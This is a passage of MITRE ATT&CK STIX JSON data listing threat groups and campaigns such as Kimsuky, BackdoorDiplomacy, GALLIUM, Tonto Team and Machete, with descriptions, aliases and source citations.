["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", "type": "intrusion-set", "created": "2021-09-21T14:52:49.596Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0135", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0135"}, {"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T19:47:11.389Z", "name": "BackdoorDiplomacy", "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-17T22:11:50.321Z", "name": "Kimsuky", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", "aliases": ["Kimsuky", "Black Banshee", "Velvet Chollima", "Emerald Sleet", "THALLIUM"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Taewoo Lee, KISA", "Dongwook Kim, KISA"], "type": "intrusion-set", "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "created": "2019-08-26T15:03:02.577Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0094", "external_id": "G0094"}, {"source_name": "Black Banshee", "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"}, {"source_name": "THALLIUM", "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"}, {"source_name": "Emerald Sleet", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Kimsuky", "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)"}, {"source_name": "Velvet Chollima", "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)"}, {"source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019", "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.", "url": "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf"}, {"source_name": "EST Kimsuky April 2019", "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", "url": "https://blog.alyac.co.kr/2234"}, {"source_name": "Netscout Stolen Pencil Dec 2018", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"}, {"source_name": "BRI Kimsuky April 2019", "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/"}, {"source_name": "Zdnet Kimsuky Dec 2018", "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"}, {"source_name": "CISA AA20-301A Kimsuky", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"}, {"source_name": "Cybereason Kimsuky November 2020", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"}, {"source_name": "EST Kimsuky SmokeScreen April 2019", "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US  \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.", "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf"}, {"source_name": "Malwarebytes Kimsuky June 2021", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Securelist Kimsuky Sept 2013", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"}, {"source_name": "ThreatConnect Kimsuky September 2020", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. 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Technical analysis of [Akira](https://attack.mitre.org/software/S1129) ransomware indicates multiple overlaps with and similarities to [Conti](https://attack.mitre.org/software/S0575) malware.(Citation: BushidoToken Akira 2023)", "aliases": ["Akira", "GOLD SAHARA", "PUNK SPIDER"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "intrusion-set", "id": "intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d", "created": "2024-02-20T23:59:25.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1024", "external_id": "G1024"}, {"source_name": "PUNK SPIDER", "description": "(Citation: CrowdStrike PUNK SPIDER)"}, {"source_name": "GOLD SAHARA", "description": "(Citation: Secureworks GOLD SAHARA)"}, {"source_name": "CrowdStrike PUNK SPIDER", "description": "CrowdStrike. (n.d.). Punk Spider. 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In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), Operation North Star, and Operation Interception; by 2022 security researchers described [Operation Dream Job](https://attack.mitre.org/campaigns/C0022) as an umbrella term covering both Operation Interception and Operation North Star.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: ESET Lazarus Jun 2020)(Citation: The Hacker News Lazarus Aug 2022)", "aliases": ["Operation Dream Job", "Operation North Star", "Operation Interception"], "first_seen": "2019-09-01T04:00:00.000Z", "last_seen": "2020-08-01T04:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: ESET Lazarus Jun 2020)", "x_mitre_last_seen_citation": "(Citation: ClearSky Lazarus Aug 2020)", "x_mitre_deprecated": false, "x_mitre_version": "1.2", "type": "campaign", "id": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "created": "2023-03-17T13:37:42.596Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0022", "external_id": "C0022"}, {"source_name": "Operation Interception", "description": "(Citation: ESET Lazarus Jun 2020)"}, {"source_name": "Operation North Star", "description": "(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)"}, {"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. 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This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers.(Citation: Cybereason Soft Cell June 2019) Security researchers have identified [GALLIUM](https://attack.mitre.org/groups/G0093) as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)(Citation: Unit 42 PingPull Jun 2022)", "aliases": ["GALLIUM", "Granite Typhoon"], "x_mitre_deprecated": false, "x_mitre_version": "4.0", "x_mitre_contributors": ["Daniyal Naeem, BT Security", "Cybereason Nocturnus, @nocturnus"], "type": "intrusion-set", "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "created": "2019-07-18T20:47:50.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0093", "external_id": "G0093"}, {"source_name": "GALLIUM", "description": "(Citation: Microsoft GALLIUM December 2019)"}, {"source_name": "Granite Typhoon", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Cybereason Soft Cell June 2019", "description": "Cybereason Nocturnus. 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Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack", "mobile-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-17T22:09:00.876Z", "name": "CURIUM", "description": "[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. 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Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:50:01.851Z", "name": "Blue Mockingbird", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. 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[C0021](https://attack.mitre.org/campaigns/C0021)'s technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected [APT29](https://attack.mitre.org/groups/G0016) activity.(Citation: Microsoft Unidentified Dec 2018)(Citation: FireEye APT29 Nov 2018)", "aliases": ["C0021"], "first_seen": "2018-11-01T05:00:00.000Z", "last_seen": "2018-11-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)", "x_mitre_last_seen_citation": "(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6", "created": "2023-03-15T19:23:36.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0021", "external_id": "C0021"}, {"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. 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Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017."}, {"source_name": "US-CERT TA18-074A", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}], "x_mitre_deprecated": false, "revoked": true, "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "modified": "2022-05-11T14:00:00.188Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Dragonfly 2.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:07:05.918Z", "name": "Sidewinder", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. 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(2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.", "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"}, {"source_name": "Securelist APT Trends April 2018", "description": "Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021.", "url": "https://securelist.com/apt-trends-report-q1-2018/85280/"}, {"source_name": "ATT Sidewinder January 2021", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. 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Retrieved November 30, 2021."}], "x_mitre_deprecated": true, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-04T22:15:12.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Gelsemium", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:19:20.934Z", "name": "Higaisa", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. 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[Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", "aliases": ["Higaisa"], "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Daniyal Naeem, BT Security"], "type": "intrusion-set", "id": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "created": "2021-03-05T18:54:56.267Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0126", "external_id": "G0126"}, {"source_name": "Malwarebytes Higaisa 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. 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Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Tonto Team", "Earth Akhlut", "BRONZE HUNTLEY", "CactusPete", "Karma Panda"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "type": "intrusion-set", "created": "2021-05-05T17:18:25.987Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0131", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0131"}, {"source_name": "Tonto Team", "description": "(Citation: Talos Bisonal Mar 2020) "}, {"source_name": "Earth Akhlut", "description": "(Citation: TrendMicro Tonto Team October 2020)"}, {"source_name": "BRONZE HUNTLEY", "description": "(Citation: Secureworks BRONZE HUNTLEY )"}, {"source_name": "CactusPete", "description": "(Citation: Kaspersky CactusPete Aug 2020)"}, {"source_name": "Karma Panda", "description": "(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)"}, {"source_name": "Kaspersky CactusPete Aug 2020", "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021."}, {"source_name": "ESET Exchange Mar 2021", "url": "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", "description": "Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."}, {"source_name": "FireEye Chinese Espionage October 2019", "url": "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "description": "Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021."}, {"source_name": "ARS Technica China Hack SK April 2017", "url": "https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/", "description": "Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021."}, {"source_name": "Trend Micro HeartBeat Campaign January 2013", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?", "description": "Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021."}, {"source_name": "Talos Bisonal 10 Years March 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021."}, {"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}, {"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}, {"source_name": "Secureworks BRONZE HUNTLEY ", "url": "https://www.secureworks.com/research/threat-profiles/bronze-huntley", "description": "Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021."}, {"source_name": "CrowdStrike Manufacturing Threat July 2020", "url": "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", "description": "Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries\u2019 Crosshairs. Retrieved October 17, 2021."}], "modified": "2022-01-27T17:51:41.433Z", "name": "Tonto Team", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-04T18:11:02.073Z", "name": "Gamaredon Group", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. 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(DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}, {"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}, {"url": "https://securelist.com/the-naikon-apt/69953/", "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. 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(Citation: Cylance Dust Storm)", "aliases": ["Dust Storm"], "x_mitre_deprecated": true, "x_mitre_version": "1.0", "type": "intrusion-set", "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", "created": "2017-05-31T21:32:03.306Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0031", "external_id": "G0031"}, {"source_name": "Dust Storm", "description": "(Citation: Cylance Dust Storm)"}, {"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Sowbug"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Alan Neville, @abnev"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", "type": "intrusion-set", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0054", "external_id": "G0054"}, {"source_name": "Sowbug", "description": "(Citation: Symantec Sowbug Nov 2017)"}, {"url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", "source_name": "Symantec Sowbug Nov 2017"}], "modified": "2020-03-30T02:46:16.483Z", "name": "Sowbug", "description": "[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:41:37.453Z", "name": "Mofang", "description": "[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)", "aliases": ["Mofang"], "x_mitre_deprecated": false, "x_mitre_version": "1.1", "type": "intrusion-set", "id": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", "created": "2020-05-12T21:23:59.021Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0103", "external_id": "G0103"}, {"source_name": "FOX-IT May 2016 Mofang", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Machete", "APT-C-43", "El Machete"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matias Nicolas Porolli, ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "type": "intrusion-set", "created": "2019-09-13T12:37:10.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0095", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0095"}, {"source_name": "Machete", "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)("}, {"source_name": "APT-C-43", "description": "(Citation: 360 Machete Sep 2020)"}, {"source_name": "El Machete", "description": "(Citation: Cylance Machete Mar 2017)"}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}, {"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."}], "modified": "2021-10-06T19:26:47.988Z", "name": "Machete", "description": "[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.275Z", "name": "Group Enumeration", "description": "An extracted list of available groups and/or their associated settings (ex: AWS list-groups)", "x_mitre_data_source_ref": "x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.271Z", "name": "Image Creation", "description": "Initial construction of a virtual machine image (ex: Azure Compute Service Images PUT)", 